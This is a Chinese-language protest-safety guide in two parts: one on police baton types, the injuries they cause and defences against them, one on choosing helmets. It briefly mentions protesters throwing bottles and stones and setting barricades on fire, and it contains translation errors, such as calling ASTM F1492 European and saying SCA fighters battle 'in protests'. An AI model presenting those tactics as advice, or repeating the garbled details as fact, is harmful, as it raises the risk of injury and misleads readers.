不是每个警察都喜欢警棍。有些警察除非接到部门的命令，否则不会携带警棍。YouTube 上的一位前警察指出，“有效性” 和 “合法性” 在文氏图中的重合度确实非常小。然而，警察很少被要求遵守任何合法性的标准。警棍往往是警察在近距离作战中控制空间的主要手段，尤其是针对示威者。

在抗议活动中，警察使用警棍来完成各种任务。有的警棍被用在冲锋中，大量警察挥舞警棍并推搡人群，以驱散人群和煽动恐惧。这些警员们使用警棍是为随后而来的抓捕部队进入人群实施逮捕，而开辟道路。警员用警棍推进警戒线，推搡抗议者，以便镇压部队可以继续前进，通常同时还用胡椒喷雾袭击抗议者。

有些警察是出于纯粹的报复心态或残忍的本性，一旦把目标人固定在地上，就用警棍猛烈地击打他们。

📌 人们似乎有一种误解，认为警棍只用来对付不遵守警察命令的人。事实上完全不是，警察使用警棍对付他们怀疑可能会阻碍他们实现目标的任何人，无论这个或这些人是否违反法律或不遵守警察的命令。

📌 警察使用武力的准则一般规定，使用警棍打击目标人的四肢的主要神经中枢属于 “中等武力”，而打击目标人的头部、颈部或锁骨，则属于 “致命武力”。记录警察暴力的抗议现场的活动家需要记住这些标准，在您拍摄取证的过程中，您需要准确地描述警察行为，以便随后与权利组织合作，让暴行实施者付出代价。这是*FBI*和美国司法部出版的*1967*年执法培训手册的封面插图。这就是当局希望警察认识自己的职务方式。

警棍的类型

「图」

本文将研究三种类型的警棍：定长警棍（或 “直棍”，包括防暴警棍）、可折叠警棍、和侧把手警棍。

1、防爆警棍

「图」

防暴警棍是一种“直棍”警棍。最常见的例子是36英寸长，直径1.25英寸，由聚碳酸酯或硬木制成，通常是山核桃木，但有时可以是樱桃木、白蜡木或其他木材。现在一些警察正在采用更粗的棍子，如直径**1.5**英寸的警棍，以施加更大的打击力量。警察手里拿着一根1.25英寸的警棍和一根1.5英寸的警棍，其重量和周长造成的攻击力度之差别比你想象得要大。

较粗的棍子本身并不是更好的武器，但它们更结实。如果把两种粗细的棍子放到同一个有经验的打手手中，让他攻击胶合板盾牌，直径1.25英寸的棍子就会折断，但1.5英寸的棍子就毫发无伤。后者施加的力量大大超过了任何一般护盾所能承受的范围。

木制警棍要么是透明涂层的，要么是漆成黑色的。聚碳酸酯警棍是黑色的。防暴警棍有各种不同的握柄，例如在一端或两端刻有环形或凹槽，或交叉的“压花”握柄。

📌 这些握柄中的一些设计是为了在警棍被拉动时提供更好的固定性，不至于脱手，而另一些则是为了在扭转动作的情况下提供更好的固定性。

大多数都带有一个简单的皮制套子来固定。一个训练有素的警察应该以这样的方式握住皮带条，即 如果棍子被抓住并被拉到人群中，他可以放手，但许多警察握住警棍的方式是不正确的，在后者的情况下，如果警棍被拉动，无论警察是否愿意，他都会被牵制过来。

聚碳酸酯警棍比木棍能带来更大的冲击力，但价格却大大高于木棍。一些警察抱怨说，聚碳酸酯警棍在夏天会变形，在冬天会碎裂。

📌 防暴警棍是用来打人、刺人和推人的。广义上讲，警察用警棍打击反抗者，并且也用警棍推搡挡在警察面前的游行队伍，这种情况下警察和抗议者会非常接近，用以恐吓抗议者离开一个地区。警棍用于刺伤人也是为了这两个目的。在拥挤的环境中，警察被训练成用警棍的两端同时进攻，以便保持武器不脱手。

📌 警官们考虑在人群环境中如何维护武器的问题相当多。他们的训练重点就是这个。他们害怕有人会抢走警棍，用它来反制警员。

防暴警棍在恐吓方面的作用是很难夸大的。警察在希望自己看起来更可怕的时候，就会挥舞这些大棒张牙舞爪；在某些情况下，他们采用木制的警棍与制服形成鲜明对比，意在激发人们的恐惧。他们在警戒线上时双手拿着棍子，显得不可接近。他们毫无预兆地使用警棍，以使抗议者处于紧张状态。

防暴警棍与传统的固定长度警棍的主要区别在于，后者的长度为26英寸或更短。许多部门在日常使用中采用锥形警棍，这种警棍一端的打击面较宽，另一端的手柄较小，更易控制，形状像狼牙棒。这种警棍为打击提供了更大的杠杆作用。

📌 学会区分这些类型的警棍，可以帮助反抗者弄清警察在考虑采取什么战术：如果他们挥舞的是较长的防暴警棍，他们预计会使用更多的暴力。

2、可伸缩警棍

「图」

越来越多的警察部门开始使用可伸缩警棍作为日常挂在腰带上的警棍。这些警棍也被称为可折叠警棍或ASP（这本身是个品牌）。

可伸缩警棍的尺寸通常在16″-31″之间，其中16″、21″ 和 26″ 是最常见的长度。它们大多由钢制成，而一些重量较轻的型号则使用铝合金。

握把可以是泡沫胶状的或塑料的，或使用一些其他纹理。闭合后，这种警棍的大小和形状大致相当于一把小光剑，星球大战里那种，挂在皮带上。

警察打开它们的方法是轻抖，用离心力将折叠段滑动到位。大多数这类警棍是通过每个钢片与下一个钢片的摩擦力来打开的，只能通过将尖端砸在水泥地或其他硬表面上来关闭。一些较新型号的这类警棍有一个按钮锁，使它们更容易关闭、和更有效的刺杀以及摆动。警方转向使用按钮锁式的折叠警棍的另一个原因是，在混凝土上闭合的警棍其顶端很快就会出现粗糙，偶尔会割伤被警棍击中的人。

警察抱怨可伸缩警棍如果整天都用来打人—— 比如在镇压示威活动中—— 就会断裂，而很多大量使用警棍的警察都把警棍当成一次性用品。警用文献中明确提到，打开可伸缩式警棍时涉及到的恐吓因素是该武器的一个优势。

对于对自卫感兴趣的平民来说，可伸缩式警棍是比较常见的。人们在那些处于暴力倾向的情况下，不愿意用带刃的武器或枪支来保护自己的人们更多会使用这种棍子。这种警棍的合法性因地区而异。

3、侧把手警棍

「图」

这种警棍是直的，短柄从侧面伸出，距底座约六英寸。这种警棍是西方从日本的传统武器 tonfa 改编出来的。tonfa（拐）如下图，有多种不同的类型。如二字拐、十字拐、卜字拐、上下拐、鸳鸯拐 ……等。目前比较常见的是卜字拐为短拐的一种， 是一枝卜字型的棍棒，也有T型棍、旋棍等名称。

侧柄警棍与这种东西非常像，被认为是一种更具 “防御性” 概念的武器；这种武器被更常用之后，在20世纪60年代从所有的警察暴力镇压民权抗议者的媒体曝光中都能看到这种武器出场。

📌 警察可以通过侧柄握住警棍，因此警棍的长度从前臂一直延伸到肘部。这个姿势用于阻挡抗议者的反击、并通过造成疼痛而使抗议者顺从。警察也可以握住这种警棍的其他部分，于是侧手柄就成为了一种可以阻止抗议者反击的剑柄。

最著名的是，这种警棍由洛杉矶警察局警官携带，并在1991年广受关注的袭击罗德尼·金（Rodney Glen King）事件中被使用。从那一事件中可以看出，这种所谓的 “防御性” 警棍只是另一种伤害性武器，使用方式和警察一直以来使用的任何钝性冲击武器一样，它的所谓 “防御性” 名声只是一个招牌。

【注：罗德尼·金，非裔美国人，出生于加利福尼亚首府沙加缅度。1991年3月3日，因超速被洛杉矶警方追逐，被截停后拒捕，遭到警方用警棍暴力制服，1992年，法院判决逮捕罗德尼·金的四名白人警察无罪，从而引发了1992年洛杉矶暴动。】在抗议罗德尼·金被殴打的抗议活动中，一名警官使用侧柄警棍袭击示威者。

📌 虽然侧柄警棍的设计原本不是为了以侧柄作为击打点的，但很多人都能看到，警察拿着警棍与手柄相对的一端，像锤子一样挥舞。这样一来，武器的更多力量被集中在一个点上，可以造成更严重的伤害。

在过去的20年里，侧柄警棍已经不再是警察的日常携带警棍（比如美

国警察），取而代之的是可伸缩式警棍。但许多警察都不同意这种转变，有些警察仍然选择携带他们心爱的 “PR24”—— 这是一种以标准的莫纳德诺克PR-24式警棍命名的侧柄警棍的通用名称，长24英寸，由聚碳酸酯制成。莫纳德诺克PR-24式警棍

在*1992*年罗德尼·金（*Rodney King*）起义后的*25*年，前洛杉矶警察局的一名警官抚摸着他的侧柄警棍，回想当年警察的暴行是如何导致动乱的。

常见伤害

「图」

没有找到很多关于警棍杀伤力的研究，📌 但是，用警棍击打人的头部往往可以致人于死地，这不是什么秘密。我们能够找到的大部分资料都是在英国发表的，这并不奇怪：英国的警察往往不携带枪支，而是用老式的方式伤人、甚至杀人，包括用警棍。（美国警察更喜欢直接开枪。如果在抗议运动中出现镇压部队使用枪支，您需要知道《如何在大规模枪击案中幸存：在灾难中幸存（10）》）。

📌 据一位医生介绍，大量的警棍伤是在人举起手臂保护脸部时造成的前臂骨折。不过，对头部的打击，以及胸部遭受的程度较轻的打击，要比对四肢的打击要危险得多，因为这些部位都会造成脑内出血、脑震荡和骨折。

肋骨骨折在警察从侧面挥击目标躯干的情况下是很常见的。很多人因为试图抵挡警棍的打击而最终导致手臂和手腕骨折。胸部遭受打击的重点是横膈膜，这种伤势可能会造成呼吸困难；再加上惊吓和压力，都会导致人失去知觉或呕吐。

如何防御警棍

「图」

为了避免在近距离战斗范围内受到暴击的伤害，你有三个基本选择：

- 你可以远离近战范围。
- 你可以阻止对手清楚地看到你，以便阻止他们有效地打击你。
- 你可以直接保护自己和他人免受打击，很可能是通过某种屏障。

警察使用暴力至少有两个目的：控制空间—— 分散我们这些抗议者，驱赶我们，阻止我们到达目的地—— 以及制服目标个人。有时，最简单的解决方法就是逃离拿着棍子的警察：通过后退来远离近战范围。

📌 但在其他情况下，这种方法的后果是不值得的。你可能不希望放弃其他示威者同伴，你可能也不想放弃当初把自己带到街上的反抗目标。你可能非常拒绝正面强化这样的假设，即 只要偶尔向人们挥舞棍棒，就能使他们处于恐惧的奴性状态。

因此，另一种远离近战范围的方法是迫使警察后退，或者至少让警察不要在抗议者之间拉开距离。

历史上，抗议者经常通过使用他们自己的投射物—— 瓶子、石头、油漆弹等来实现这一目的。这可能是有效的，但其效力和可取性是因地而异的—— 这取决于警察的目标是什么、以及限制警察行动能力的其他因素。

美国警察的装备比许多其他国家的警察都有好，也基本不会退缩，这也是美国示威者在这里很少采用这种策略的原因之一，除非风险非常大的情况下。然而，当一切都岌岌可危时，人们有时会鼓起勇气做出令人难以置信的事。

📌 您的战术筹备必须符合您的实地因素，以捍卫您和队友的利益。

解决这个问题的另一个办法是修建路障。为了达到目的，路障必须适合于阻挡它们所要解决的特定威胁 —— 想要阻挡警车和阻碍步行的警察，是两个截然不同的目标。

历史上，一些示威者经常通过放火的方式使路障更难通过和难以被拆除；但路障一旦燃烧，除非有无限的燃料供应，否则它最终会自行熄灭。常识性的消防安全措施就可以破灭它；当地法律也很可能禁止这么做。

📌 即使路障完全不妨碍人流，正确的路障设置也可以分散警察的注意力，这也是另一种让警察与抗议者保持距离的方法。只要情况是无法预测的，并且警察必须全方位关注新发展，他们可能会选择不采取那些使自己退缩的方式。

第二种策略是防止警察看清楚你，这样他们就无法准确打击你。抗议者为此采用了盾牌、雨伞、烟雾弹，有时甚至是灭火器等工具。我们

曾见过抗议者举着高高的横幅，以至于挡住了另一边警察的视线——当然，这些工具也会导致大多数抗议者看不到警察在做什么。

📌 警察讨厌看不到正在发生的事，这可能会让他们后退一步，重新聚集，但也可能激起他们毫无意义地暴力升级。如果警察看不清楚，他们可能就会随意出手—— 对防御来说这未必是一种改善。

最后，如果没有其他办法，还可以直接防备警棍的打击。这通常涉及到装甲、盾牌、移动路障、加固的旗帜、或其他障碍。

📌 为抵御重击而设计的装甲一般采用“硬壳/软垫”框架：硬壳可以将打击的冲击力分散到更大的表面积，而软垫则可以吸收这种冲击力。现在的外壳通常是某种塑料材质，尽管传统上使用的是钢，在某些情况下也可能使用木头；同样，软层通常由泡沫组成，尽管在过去，加垫的衣服也可能起到作用。

如果你正在考虑穿戴任何类型的盔甲，首先要考虑头盔。戴头盔越是正常化，警察就越难以针对想要保护自己的个人（本系列后面的内容将详细讲解头盔）。

📌 头部受伤是很严重的事，反复的脑震荡可能会带来成倍的危险。即使你在经历了头部受伤后感觉一切正常，但头部遭受后续打击的风险也会大大增加。街头的人如果头部受到打击，应该认为自己在之后的一周内都将处于高度危险之中；第一次脑震荡未愈后的第二次脑震荡可能导致死亡。如果你的头部受伤，请考虑至少一周内避免危险。

运动类装甲可以从二手商店轻易买到。大体上，它的设计是为了防止警察警棍可能造成的同样的影响。曲棍球和棍网球的垫子都是可以使用的，它们很轻、低调，并旨在最大限度地提高流动性，同时保护重要区域。

足球护胫板也可以作为前臂护板。被警棍击中从来都不是什么好的体验，是否使用护甲可以意味着骨折与否的区别。

📌 请根据你的威胁模型选择重点保护的部位：膝盖是致命性较低的弹药的常见目标，腹股沟是脆弱的部位，前臂通常用来阻挡警棍的打击，胸腹部通常容易受到警棍的刺击或冲击弹药的打击。总之，您越是认为不管发生什么事都需要让自己坚守在第一线，您就越应该考虑什么样的盔甲可以保护自己。

从历史上看，一些运动采用了“填充物”的方法来保护人群免受警察

暴力的侵害，用泡沫、内胎和其他充气游泳装置，以及其他任何他们能接触到的大型的柔软的东西，来建造不可思议的服装。

这种防御可能严重限制了个人的行动能力，但是，它可能会阻碍警察驱散人群。它还可以创造出引人注目的视觉效果。这种方法最著名的例子是意大利的 Tute Bianche。

📌 从战术上讲，盾牌可以更灵活一些。一个拿着盾牌的人往往也可以保护两边的人。一群拿盾牌的人可以形成盾墙，这比孤盾要有效得多。Tute Bianche 的抗议队伍

Tute Bianche

📌 移动路障实际上是由多个人携带的多用户盾牌。这些移动路障在人群的前面、侧面或后面特别有用，可以提供掩护，防止警察轻易攻击或驱散抗议者。

一个简单的例子是一块大的胶合板，上面有多个把手，或者后面有一根长柄。在紧要关头，示威者也曾用梯子和其他可自由使用的物品临时搭建移动路障—— 例如，2010年温哥华反奥运会的抗议活动中使用的那种。2010年温哥华反奥运会的抗议活动

也有其他移动路障，比如用透明的钢格板或其他板材装在木架上。有些时候背面装有支架，这样当它们被放下时就可以自己立住。

📌 要制作加固的横幅，可以把乙烯或织物的普通横幅用木头、塑料或其他坚硬的材料做一个支架。加固的作用不仅仅是为了使横幅更容易携带，它们也可以在战术上用于保卫抗议人群的边缘。

PVC管很容易购买，但在受到冲击时比较容易断裂。作为加固横幅的手段，它屡屡失败，最著名的可能是2005年在华盛顿特区举行的反对乔治·布什第二任期就职典礼的抗议活动。2005年在华盛顿特区举行的反对乔治·布什第二任期就职典礼的抗议活动

如果你很着急，新鲜的竹竿也可以用—— 它出奇的轻，而且有足够的弹性，对打击有一定的反弹力。

📌 但是要知道，盔甲、头盔、盾牌、移动路障、加固的横幅、和其他防护装备，都能让你脱颖而出—— 而在示威中脱颖而出很可能并不是什么好事。您应该和您的亲密团队协商这件事，关于这些战术可能的风险和你们的承担能力。

并没有万无一失的抗议方案，也没有完全可以确保有效的战术，没有能解决所有问题或适合所有情况的装备。您需要想一想自己想要完成什么，以及警察可能会如何阻止你完成这一目标。要实事求是——对自己的能力和对镇压者的能力都应该尽可能准确。

📌 移动性、速度、主动性、出其不意的元素，以及持之以恒的反抗意识，通常会比任何装备都更适合使用—— 所以，要确保您的装备不会阻碍或分散您的注意力，使您能最大限度地发挥这些优势。

不要错过我们的战术推荐，在列表- 5中 “技巧、策略和原理”。○

资源：

「图」

- 警棍的技术和使用（PDF）
- FM 3–19.15 —— 警察培训手册（PDF）
- Excited Delirium —— 从2008年开始，由直接行动抗议者制作的警察武器指南。
- *Bodyhammer* —— 一份在世纪之交后不久出现的，旨在探索头盔、防弹衣、盾牌和盾墙、以及一系列防御战术和编队的杂志。
- 想知道政府间谍和军队是如何“平暴”(镇压)的吗？- 一系列内部资料，免费下载：https://www.patreon.com/posts/xiang-zhi-dao-fu-38457296

—— 未完待续 ——

原文

脑袋是人最大的弱点 — 了解头盔和使用技巧：示威参与者指南（2） - iyouport

示威参与者指南

【2021年4月9日存档】镇压者都非常明白这点，关于：人的头部是最弱的部位；所以，他们经常将榴弹对准抗议者的头部发射。有效的头盔可以保命，这不是玩笑。

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：《认识警棍，危害能力和防御方法：示威参与者指南（1）》。

随着来自警察、间谍、和各种流氓组织的暴力加剧，反抗者最重要的是要思考如何保护自己。您需要先活下来才有机会取胜。

没有人应该在保护身体安全和在我们的社区组织之间做出选择——但是，警棍、冲击弹药、和街头袭击，都是为了迫使反抗者在两者之间做出选择。

这不是你是否采用对抗性策略的问题 —— 如今，任何处于抗议情况下的人都可能成为目标，不管你是不是活动家或者组织者。

📌 通过采取适当的预防措施，你可以减轻风险，同时继续为反抗运动努力。

本指南将继续前面的内容探讨各种保护性的头盔，详细介绍每种头盔的优缺点，让您可以挑选出最适合自己的头盔。您拯救的生命是您自己的。这是抗议者 Aaron Cantu 的头盔，俄勒冈州波特兰市的一名警察故意向他的头部直接发射了一枚闪光弹。如果他当时没有戴上头盔，很可能会被直接炸死。

摘要

「图」

如果您没有时间阅读全文，这里是您基本需要知道的：

如果您预计没有其他人会戴头盔，就戴一些隐蔽的或不显眼的东西 —— 比如防撞帽、棒球帽、低调的滑板头盔，或者自行车头盔 —— 这样就不会让自己因脱颖而出而成为被镇压目标。

如果您预计现场有很多人会戴头盔，那就戴上您能买到的最好的头盔，如战术防撞头盔或防弹头盔。

一些选择

「图」

高端的—— IIIA级防弹头盔，比如 头铁老兵ATE，或者是经过高标准测试的折扣款，如相对比较便宜的 LongFri 款。

更便宜的战术型头盔—— 要么是100–200元的名牌 “防撞头盔”，要么是40元的气枪头盔。如果你选择后者，要把护垫换成真正的护垫，而且不要指望它能提供与高端品差不多的保护。

更便宜的选择—— 找一个最便宜的滑板头盔，你可以找到，这类产品也会宣传自己满足各种认证。

低调的选择—— “防撞帽”（不是 “防撞头盔”）—— 有点像内置在棒球帽里的硬帽。

在紧急情况下—— 一顶半圆形的或四分之三的摩托车头盔，或者去掉面罩的曲棍球头盔，或者其他任何你能找到的头盔。都比没有的好。头铁老兵ATE

防撞帽

为什么要戴头盔？

「图」

📌 人的头是最脆弱的部分。警察非常知道这一点，所以他们瞄准抗议者的头部进行攻击。街头流氓也是这样做的。在很多抗议活动中，戴上头盔是明智之举。

就像所有的装备一样，重要的是要权衡利弊。如果你是唯一一个戴头盔的人，你可能会吸引更多的注意力，那应该不是你想要的效果。如果没有其他人会戴头盔，你可以考虑戴一个不那么显眼的头盔。如果你预计大多数人都会戴头盔，请确保你戴的头盔是质量最好的头盔。

📌 移动性、能见度和灵活性，非常重要—— 无论我们说的是某件装备还是我们的整体行动。

镇压者几乎总是会比抗议者拥有更多的资源；在静态条件下被卷入正面对抗通常是个错误。镇压者的弱点是对新信息的反应往往很慢，而且他们往往缺乏动力和创造力。所以，在选择装备和战术的时候，抗议者应该始终以保持流动性和机动性为目标，小心不要因为防御而使自己的负重增加。

去年的抗议活动中，廉价的自行车头盔已经救了很多人的命。如果你不想花钱，那就戴上你现有的任何东西。

溜冰头盔就很好。一顶简单的自行车头盔也比什么都没有的好。全脸的摩托车头盔或越野车头盔价格较贵，并且，它们可能限制了你的视力和听力，并带来了其他各种缺点—— 但是，如果你的眉心被催泪瓦斯罐击中，你会很高兴你戴了头盔。

📌 没有任何一顶头盔可以 *完全* 保护你的头部免受打击或射击。没有任何 “防脑震荡” 的头盔可供足球运动员使用：这需要大量的泡沫。和所有护具一样，头盔能做的就是 *减轻* 某些风险。

人们往往会盯着头盔的外壳—— 比如说，认为既然是可以抵御枪弹的防弹头盔，那么它就会比冰球头盔更能保护你的头部？但是，防弹头盔只是为了保护你的头部不受枪弹的伤害—— 它可能无法有效地保护你的头部不受冰球的伤害。而曲棍球头盔在交通事故中可能无法像自行车头盔那样保护你的头部。需要清楚这点。

对于头盔来说，外壳和填充物的比例大致相等。如果弹丸穿透了外壳，填充物就起不到什么作用了。然而，如果外壳本身没有被击穿，那么填充物就能保护头部免受钝性冲击。

弹道学是一个复杂的领域。长话短说就是：对于一个普通人来说，很难预测哪些物体会穿透哪些表面，会传递多少力量。我们可以了解到各种杀伤力较小的弹药的动能（以焦耳为单位），也可以了解到各种头盔所依据的认证标准—— 但很难根据这些信息得出可靠的结论。简而言之，经认证的非防弹头盔所能抵御的动能大大低于低致命性武

器可能带来的动能。

头盔可以降低风险。它们不会使风险完全消失。

挑选头盔

「图」

头盔有各种尺寸，每个厂家采用的尺寸模式也不同。在选购头盔之前，不妨先拿卷尺测量一下自己的头围，尤其是在网上购买的时候。如果你没有卷尺，可以用一根绳子，然后测量绳子的长度。

很多头盔都是可以调整的—— 你可以通过增加或移除填充物，或者通过收紧或松开头带来调整头盔。特别是硬帽，虽然并不特别推荐，但它是可以调整的。无论如何，最好还是买一顶适合自己的头盔。

📌 如果你的头围介于两个尺寸之间，你可能应该选择较大的那个尺寸；但是，太宽松的头盔可能会在不方便的时刻滑到错误的位置，甚至挡住你的视线。而且，太松的头盔可能会吸收更少的冲击力，因为外部的冲击力会把头盔的侧面推到你的头上，本质上使头盔本身对你产生冲击。

对于有衬垫的头盔，你会希望它足够紧，以至于要花点力气才能戴上它，但又不能太紧，不能让人感觉很局促。

📌 为了测试战术头盔是否合适，在不戴下巴固定带的情况下，用一定的力气左右摇晃你的头：头盔应该不会移动才行。

头盔的种类

「图」

本文将根据头盔的设计方式将头盔分为三个基本类别。有悬挂式头盔，它在外面使用硬层，里面使用悬挂系统来吸收外部冲击力。这一类包括大多数建筑业使用的硬帽、老式军用头盔和一些攀岩头盔。还有一些防撞头盔，依靠可压碎泡沫材料，通常搭配硬层。这些头盔的设计一般都是假设它们会在撞击时被破坏。

自行车、滑板、滑雪、越野摩托车和摩托车头盔都属于防撞头盔。最后，还有填充式头盔，这种头盔使用坚硬的外壳和内部不可挤压的填充物来减轻冲击。这包括现代军事和战术头盔、以及一些运动头盔，

包括橄榄球、棍网球和曲棍球头盔。

碰撞头盔一般可以在单次撞击中提供最大的保护，但是，在一次撞击后就会失去保护能力。悬挂式头盔轻巧、便宜、耐用，但通常没有侧面冲击的防护等级，整体防护能力一般较差。

建议使用有衬垫的头盔，这种头盔通常是为遭受反复打击而设计的。军人配戴这种头盔是有原因的。

悬挂式头盔

「图」

悬挂式头盔的优点是价格便宜，而且可以让空气在头部流动，但一般来说，对于钝性撞击的效果较差。一般情况下不推荐使用。

硬帽

「图」

首先，也是最常见的，就是硬帽。大多数硬帽可以保护你的头部不受坠落物的伤害，但对于减轻其他威胁却没有那么有用。

📌 许多硬帽甚至没有下巴绑带，这使得它们在可能涉及奔跑、摔倒或被拘捕的情况下不可靠。工作场所已经越来越多地用“安全头盔”取代硬帽，有些使用悬挂式，有些使用填充物，有些则是混合使用。如果您要使用硬帽，请寻找“II型”头盔，它包括侧面的非可挤压填充物，并可承受侧面冲击和顶部冲击。这种头盔不多见。

硬帽有一个非常“平民”的外观，在抗议活动中这可能是很有用的，它不会让您脱颖而出。硬帽头盔

攀岩头盔

「图」

攀岩头盔类似于“II型”硬帽，因为它们的额定冲击力包括侧面冲击和顶部冲击，其位置也比硬帽更接近头部。一般来说，它们更舒适，并提供了更好的流动性。

有传闻说按照欧洲 ASTM F1492 标准测试的攀岩头盔可以有效地防止

警棍的击打。

有些攀岩头盔仅仅依靠悬挂系统，而另一些则采用混合系统，结合了填充层。就悬挂式头盔而言，攀岩头盔似乎是一个不错的选择。典型的攀岩头盔

古代军用头盔

「图」

不幸的是，无法推荐中世纪的头盔或20世纪的钢制战争头盔帮您参加抗议活动，尽管一些抗议者可能会戴上这种头盔。

大多数中世纪的头盔和早期的现代军用头盔使用一个皮革悬挂系统，称为头盔衬垫，以保持硬壳远离头部。

比如复古俱乐（SCA），他们用钢剑和盔甲在抗议活动中战斗，要求钢盔至少是16号或更厚的钢；许多SCA战士喜欢14号钢。任何更薄的东西都可能被认为只是 “装饰性的”。

【注：复古俱乐部 (Society for Creative Anachronism) 是一个国际性的现存历史团体，旨在研究和重建17世纪之前的主要欧洲中世纪文化及其历史。在SCA中经常使用的玩笑将自己描述为一个致力于中世纪的团体。】

我们没有用冲击弹药测试过钢材，但如果头盔被压碎了或变形了，对佩戴者来说是非常危险的。许多SCA战士不是使用传统的悬挂式头盔，而是用½”或更厚的闭孔泡沫建立内衬。其他人则使用现代军用头盔衬垫。

📌 有一些知识指出，与警方使用的那种强大的冲击性弹药相比，古代军用盔甲能抵挡的冲击力要小得多。不论如何，在进行正确的测试之前，不能昧着良心推荐中世纪的头盔。2017年9月17日，在圣路易斯，示威者表示反对法院将事实上的有罪不罚扩大到谋杀犯和前圣路易斯警察 Jason Stockley。

有些人戴着早期现代头盔，这种头盔很常见。这些头盔大多没有防弹能力，但旨在保护士兵免受事故和弹片的伤害。少数配有凯夫拉内衬，接近防弹等级的保护程度。

我们很好奇，如果用现代军用填充物和下巴安全绑带取代悬挂式衬

垫，会怎么样？但还没有与任何尝试过这种做法的人交谈过。M1头盔-从第二次世界大战到1985年的美军头盔。

防撞头盔

「图」

防撞头盔的种类较多，不容易一一介绍。防撞头盔往往是最容易买到的头盔，它们通常看起来很“平民”，没有威胁性。戴着自行车头盔的人看起来就像是在下班回家的路上被卷入了抗议人群中。于是，📌 这种装束不会让你看起来像个战士，也就不容易吸引镇压部队的火力。

另外，有些防撞头盔可以隐藏在帽兜下。由于这些原因，以及它们相对便宜的价格，于是可以推荐它们帮助您参加抗议活动—— 尤其是滑板头盔。

📌 防撞头盔不像悬挂式头盔或填充式头盔那样，如果购买二手头盔，效果就不会太理想。幸运的是，它们往往是非常便宜的新产品。

自行车头盔

「图」

自行车头盔可能是最不显眼的头盔了，除了像防撞帽这样完全隐蔽的东西，自行车头盔也是可选的。它们的价格也很便宜。这是主要的两个优点。

缺点是自行车头盔的抗穿透能力大大低于其他很多类型的防撞头盔，因为塑料外壳基本上是后话。事实上，那种塑料壳太薄了，已经有人亲眼见过警察的警棍把塑料壳完全打碎，碎片飞舞，还划伤了人。

在美国，自行车头盔—— 与滑板头盔和其他运动头盔不同—— 需要使用CPSC标准进行认证。📌 然而，它们只能在一次撞击中幸存下来。简而言之，它们被设计成一次性的。

一项研究表明，几十块钱的自行车头盔与几百块钱的头盔大致一样符合认证标准（基于各种冲击测试）。

📌 曾经有FN303弹丸（一种0.68英寸的气枪弹丸）深深地嵌入自行车头盔的泡沫中的案例，这意味着它足以阻止弹丸。但是，不要忘

了，它是一次性的。也就是说，如果选择这种，必须买全新的。自行车头盔

滑板头盔和滑雪头盔

「图」

滑板头盔比自行车头盔覆盖了更多的头部面积，因为它们的设计不是为了空气动力学的。滑雪头盔在功能上与滑板头盔相同，主要区别只是它们完全没有通风孔，因为它们的设计是为了保持热量。

📌 滑板头盔与自行车头盔不同，不需要认证就可以销售。有些公司显然只认证某些尺寸的头盔，因为他们在不同尺寸的头盔中使用不同数量的填充物。如果通过认证，这些头盔就会被认证为 ASTM F1492 标准，达到比自行车头盔更高的标准，因为它们的额定值可以经受多次撞击。

📌 有些单板滑雪头盔内置通讯系统，这对抗议者来说可能很有用。

滑板头盔是头盔的最佳廉价选择之一。在网上购买滑板头盔时要小心，因为列表中有时是儿童尺寸的儿童头盔，要看清楚。

📌 2018年，俄勒冈州波特兰市的一名警察故意直接向抗议者的头部发射闪光弹榴弹，当时抗议者 Aaron Cantu 就戴着这种头盔。理论上警察应该向空中发射那种闪光弹，在人群上方爆炸—— 但是，在实际操作中，警察经常把闪光弹对准抗议者的头部。榴弹穿透了 **Aaron Cantu** 的头盔，直接扎进了他的头盔，击碎了他的部分头骨。最后他活了下来，是头盔救了他一命。滑板头盔和滑雪头盔

摩托车头盔

「图」

摩托车头盔的设计是为了承受比其他防碰撞头盔更高的冲击力。它们也更贵。如果你是专门为参加抗议活动买头盔，摩托车头盔不一定是最好的选择。然而，如果你手边就有一顶摩托车头盔，那就戴它吧，肯定比没有的好。而如果你骑着摩托车或电动车去参加示威，那么你已经戴着一顶头盔了。

全脸的摩托车和越野车头盔对摩托车事故来说有更好的保护作用，但是，这并不意味着能很好地转化为在抗议活动中的保护作用。这种头

盔比较笨重，一定程度上限制了能见度，而且它们使佩戴面罩或防弹镜更加困难。

📌 四分之三（敞开式）头盔和半头盔对抗议情况更有用，因为它们与面罩和护目镜的兼容性更强。半头盔的价格比其他款式的头盔要便宜很多。

在购买摩托车头盔时，您应该注意：

DOT认证不值一提，因为它是一个 ‘自我认证’ 的安全标准。为了真正的安全，特别是防弹保护，一定要买符合**ECE**或**Snell**安全标准的头盔。摩托车头盔

马术头盔

「图」

马术头盔类似于滑板头盔，那些通过ASTM标准F1163认证的头盔都要经过马蹄的剧烈撞击测试。这对抗议者来说是好事。马术头盔

填充式头盔

「图」

悬挂式和碰撞式头盔是以防万一的头盔，但有衬垫的头盔是那些预计会被击中头部的人所佩戴的：运动员、士兵、警察，以及越来越多的示威者。可以将这一类别分为两个子类别：运动头盔和战术头盔。

1、运动头盔

「图」

比起其他任何类别的头盔来说，运动头盔是专门为防止钝性冲击而设计的；最近在这方面投入了大量的工程。运动头盔也是二手市场上最容易买到的头盔。不过有些运动头盔的设计方式根本无法与防毒面具和护目镜兼容。

请确保运动头盔的填充物处于良好状态。

曲棍球头盔 ——

曲棍球头盔的设计是为了防止快速移动的曲棍球的打击—— 📌 这种冲击力很像警察使用的冲击性武器。半头盔是比较好的，没有下巴绑带或面罩。曲棍球和棍网球头盔是两种常见且有效的抗议用头盔。

棍网球头盔 ——

棍网球头盔很像曲棍球头盔，但它们更轻，并提供了良好的通风能力、以及良好的周边视野。虽然你可能要去掉面罩和下巴绑带，但棍网球头盔是一个可靠的选择。

白水头盔 ——

白水漂流是一项小众的极限运动，白水头盔类似于其他有衬垫的运动头盔，而不是防撞头盔。虽然我们缺乏对这类头盔的直接体验，但似乎它们可以很好地用于抗议活动。

橄榄球头盔 ——

橄榄球头盔是专门为保护头部不受反复钝性撞击而设计的。一些橄榄球头盔采用了双壳系统，利用一家公司所谓的“防震罩”，内壳和外壳之间的塑料减震器吸收冲击力。显然，这可以极大地提高这些头盔对脑震荡的防御作用。不过，这种技术似乎还没有被广泛采用。

棒球头盔 ——

棒球头盔便宜又结实。传统型号的设计可以承受70英里/小时的棒球冲击，而新型号的额定冲击速度可达90或100英里/小时。美国职业棒球联盟的官方头盔—— Rawlings S100 Pro Comp—— 采用了这种较新的设计，尽管一些球员抱怨它的机动性不如老款。

